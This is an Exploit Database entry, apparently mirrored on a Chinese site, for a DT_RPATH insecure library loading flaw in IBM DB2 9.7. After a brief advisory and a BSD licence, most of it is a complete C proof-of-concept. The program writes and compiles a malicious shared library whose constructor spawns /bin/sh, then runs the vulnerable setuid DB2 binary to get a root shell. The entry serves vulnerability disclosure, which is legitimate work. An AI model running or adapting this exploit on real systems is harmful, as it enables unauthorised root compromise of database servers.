IBM DB2 – ‘DT_RPATH’ Insecure Library Loading Arbitrary Code Execution

Exploit Database
114 阅读

作者： Tim Brown

日期： 2011-06-30
类别：
- remote
平台：
- multiple
来源：https://www.exploit-db.com/exploits/35918/

// source: https://www.securityfocus.com/bid/48514/info

IBM DB2 is prone to a vulnerability that lets attackers execute arbitrary code.

An attacker can exploit this issue to gain elevated privileges and execute arbitrary code with root privileges. Successfully exploiting this issue will result in a complete compromise of the affected system.

IBM DB2 9.7 is vulnerable; other versions may also be affected.

Redistribution and use in source and binary forms, with or without

modification, are permitted provided that the following conditions are met:

* Redistributions of source code must retain the above copyright notice, this

list of conditions and the following disclaimer.

* Redistributions in binary form must reproduce the above copyright notice,

this list of conditions and the following disclaimer in the documentation

and/or other materials provided with the distribution.

* Neither the name of the Nth Dimension nor the names of its contributors may

be used to endorse or promote products derived from this software without

specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"

AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE

IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE

ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE

LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR

CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF

SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS

INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN

CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)

ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE

POSSIBILITY OF SUCH DAMAGE.

<mailto:timb@nth-dimension.org.uk>

<http://www.nth-dimension.org.uk/> / <http://www.machine.org.uk/>

PoC exploit for IBM DB2 DT_RPATH privesc.

#include <stdlib.h>

#include <unistd.h>

#include <stdio.h>

int main(int argc, char **argv) {

FILE *badlibkbbsrchandle;

int pwnedflag;

printf("PoC exploit for IBM DB2 DT_RPATH privesc.\r\n");

printf("(c) Tim Brown, 2011\r\n");

printf("<mailto:timb@nth-dimension.org.uk>\r\n");

printf("<http://www.nth-dimension.org.uk/> / <http://www.machine.org.uk/>\r\n");

printf("Constructing bad_libkbb.so...\r\n");

badlibkbbsrchandle = fopen("bad_libkbb.c", "w");

fprintf(badlibkbbsrchandle, "#include <stdio.h>\r\n");

fprintf(badlibkbbsrchandle, "#include <unistd.h>\r\n");

fprintf(badlibkbbsrchandle, "#include <stdlib.h>\r\n");

fprintf(badlibkbbsrchandle, "\r\n");

fprintf(badlibkbbsrchandle, "void __attribute__ ((constructor)) bad_libkbb(void) {\r\n");

fprintf(badlibkbbsrchandle, " printf(\"Have a root shell...\\r\\n\");\r\n");

fprintf(badlibkbbsrchandle, " setuid(geteuid());\r\n");

fprintf(badlibkbbsrchandle, " system(\"/usr/bin/id\");\r\n");

fprintf(badlibkbbsrchandle, " system(\"/bin/sh\");\r\n");

fprintf(badlibkbbsrchandle, " exit(0);\r\n");

fprintf(badlibkbbsrchandle, "}\r\n");

fclose(badlibkbbsrchandle);

system("gcc -shared -fPIC -o libkbb.so bad_libkbb.c");

system("/opt/ibm/db2/V9.7/itma/tmaitm6/lx8266/bin/kbbacf1");

exit(0);

}